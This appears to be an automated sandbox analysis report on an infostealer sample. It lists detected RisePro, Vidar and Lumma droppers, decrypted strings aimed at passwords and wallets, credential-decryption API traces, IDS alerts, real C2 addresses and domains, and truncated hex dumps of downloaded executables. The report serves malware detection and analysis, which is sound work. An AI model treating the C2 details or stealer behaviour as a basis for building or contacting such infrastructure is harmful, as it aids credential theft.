Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vidar2606[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: BRWgvKaqbg.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: I8S%
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: usernameField
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: a GX Stable
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: uctName
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: layVersion
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: sktop\
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: F783D5D3EF8C*
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: T=@?VDX;W:R1J )M$
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: #5EG P%:{
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: ystemInfo
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: 304FDQ8L\h$
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: %hu/%hu
Source: 43.2.RegAsm.exe.400000.1.raw.unpack	String decryptor: ero\wallet.k9ys

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C6B00 CryptUnprotectData,CryptUnprotectData,LocalFree,LocalFree,	2_2_004C6B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00407E41 CryptUnprotectData,LocalAlloc,LocalFree,	43_2_00407E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041302D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	43_2_0041302D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00407DC2 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	43_2_00407DC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040AB80 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	43_2_0040AB80

Source: BRWgvKaqbg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49778 version: TLS 1.2

Source: BRWgvKaqbg.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: RegAsm.pdb source: RegAsm.exe, 00000002.00000002.2359052796.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000002.00000002.2359052796.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582203171.0000000022398000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_00589BD3 FindFirstFileExW,	0_2_00589BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004C6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004E6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	2_2_004E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00493F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	2_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00431F9C FindClose,FindFirstFileExW,GetLastError,	2_2_00431F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_00432022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004938D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044FC2F FindFirstFileExW,	2_2_0044FC2F
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DB9BD3 FindFirstFileExW,	13_2_00DB9BD3
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_00639BD3 FindFirstFileExW,	14_2_00639BD3
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BE9BD3 FindFirstFileExW,	26_2_00BE9BD3
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C49BD3 FindFirstFileExW,	33_2_00C49BD3
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_00449BD3 FindFirstFileExW,	42_2_00449BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00409FC0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	43_2_00409FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00401443 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	43_2_00401443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040E016 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	43_2_0040E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040C039 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	43_2_0040C039
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_004164C7 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	43_2_004164C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040BC98 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	43_2_0040BC98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00416D7D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	43_2_00416D7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040D690 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	43_2_0040D690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040C6B5 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	43_2_0040C6B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_004177D3 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	43_2_004177D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041738D GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	43_2_0041738D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 43_2_004169EC GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,

43_2_004169EC

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_s7jOcwxjI7k0XEca_b8c743ab1b26314ff4eb66311a29ecf38ef3b8d_a87f9504_c293dfb7-dcd6-476b-a2f9-a26394e0cfea\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BRWgvKaqbg.exe_b6c6e8b22b35c86acca60f780f38ec328115af3_0005ee48_b107b2da-c7d6-4430-a6d2-0f523ea64a9c\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.5:49706 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.5:49706
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49706 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 5.42.67.8:50500 -> 192.168.2.5:49706
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.5:49723
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49723 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2054010 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (spitechallengddwlsv .xyz) 192.168.2.5:65207 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2054014 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (varitycookypowerw .xyz) 192.168.2.5:61566 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.5:49740
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.5:49741
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49740 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49741 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.5:49755

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199707802586
Source: Malware configuration extractor	URLs: https://t.me/g067n

Source: global traffic	TCP traffic: 192.168.2.5:49706 -> 5.42.67.8:50500
Source: global traffic	TCP traffic: 192.168.2.5:49737 -> 49.13.33.235:9000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 04:44:18 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 26 Jun 2024 08:56:00 GMTETag: "1c3000-61bc72ef1ac6c"Accept-Ranges: bytesContent-Length: 1847296Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 d7 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 2a 1a 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 1c 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac d9 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 1c 00 28 21 00 00 a8 ae 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 02 00 18 00 00 00 e8 ad 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 6d 0d 00 00 00 20 02 00 00 0e 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7a b2 00 00 00 30 02 00 00 b4 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 53 19 00 00 f0 02 00 00 44 19 00 00 ca 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 28 21 00 00 00 50 1c 00 00 22 00 00 00 0e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 04:44:21 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 26 Jun 2024 08:58:12 GMTETag: "abc00-61bc736d9c154"Accept-Ranges: bytesContent-Length: 703488Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 20 d8 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 b6 08 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 0b 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac d9 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 0a 00 20 21 00 00 a8 ae 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 02 00 18 00 00 00 e8 ad 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 6d 0d 00 00 00 20 02 00 00 0e 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7a b2 00 00 00 30 02 00 00 b4 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 df 07 00 00 f0 02 00 00 d0 07 00 00 ca 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 21 00 00 00 d0 0a 00 00 22 00 00 00 9a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 04:44:23 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 26 Jun 2024 09:00:39 GMTETag: "64600-61bc73f90cc60"Accept-Ranges: bytesContent-Length: 411136Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 63 d8 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 40 04 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac d9 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 06 00 28 21 00 00 a8 ae 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 02 00 18 00 00 00 e8 ad 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 6d 0d 00 00 00 20 02 00 00 0e 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7a b2 00 00 00 30 02 00 00 b4 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 69 03 00 00 f0 02 00 00 5a 03 00 00 ca 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 28 21 00 00 00 60 06 00 00 22 00 00 00 24 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 04:44:25 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Wed, 26 Jun 2024 09:27:05 GMTETag: "7a800-61bc79e22cb78"Accept-Ranges: bytesContent-Length: 501760Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 93 d3 c8 40 f2 bd 9b 40 f2 bd 9b 40 f2 bd 9b 93 80 be 9a 51 f2 bd 9b 93 80 b8 9a e9 f2 bd 9b 93 80 b9 9a 56 f2 bd 9b 82 73 b9 9a 52 f2 bd 9b 93 80 bc 9a 47 f2 bd 9b 40 f2 bc 9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e7 de 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 